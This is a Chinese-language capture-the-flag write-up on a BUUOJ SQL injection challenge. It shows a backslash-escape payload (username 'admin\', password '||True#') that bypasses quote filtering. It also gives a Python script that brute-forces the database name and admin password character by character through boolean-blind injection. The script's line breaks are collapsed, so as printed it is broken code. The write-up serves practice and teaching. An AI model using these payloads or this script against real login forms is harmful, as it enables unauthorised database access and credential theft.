sqlsqlsqlsqlsql又来喽
过滤了单双引号,等于符号,还有select等,但是这里没有二次注入 。扫描发现hint.txt
看出题人的意思是,得到密码即可获得flag。
select * from users where username='$_POST["username"]' and password='$_POST["password"]';
不能用引号闭合。所以可以使用转义符"\"。
设计
username=admin\
password=||True#结果
select * from users where username='admin\' and password='||True#';现在的username=admin\' and password=这样就变成了合法的异或查询,此查询结果为真,页面返回关键字BJD needs to be stronger若返回为假,则关键字为You konw ,P3rh4ps needs a girl friend
从提示例我们还可以得知列名是password,表名是users。
明白了原理,脚本就好写了。因为 "=" "like"都被过滤了,这里使用>。
这里我写上自己脚本
import requestsflag=''url='http://d20acdc1-326d-4834-9339-ba1a7f747356.node5.buuoj.cn:81/index.php'
for i in range(1,200):for num in range(128,40,-1):data = {"username":"admin\\","password":"||ascii(substr(database(),{},1))>{}#".format(str(i),str(num))}data1 = {"username": "admin\\", "password": "||ASCII(SUBSTR(password,{},1))>{}#".format(str(i), str(num))}#print(data)content=requests.post(url=url,data=data1)#print(content.text)if "stronger" in content.text:num1=num+1print(chr(num1),end='')break
至于这种写法ASCII(SUBSTR(password,1,1)),我还是第一次见,为什么可以直接写password列名
最后用admin(把password换成username就可以爆出了)和密码登录就行了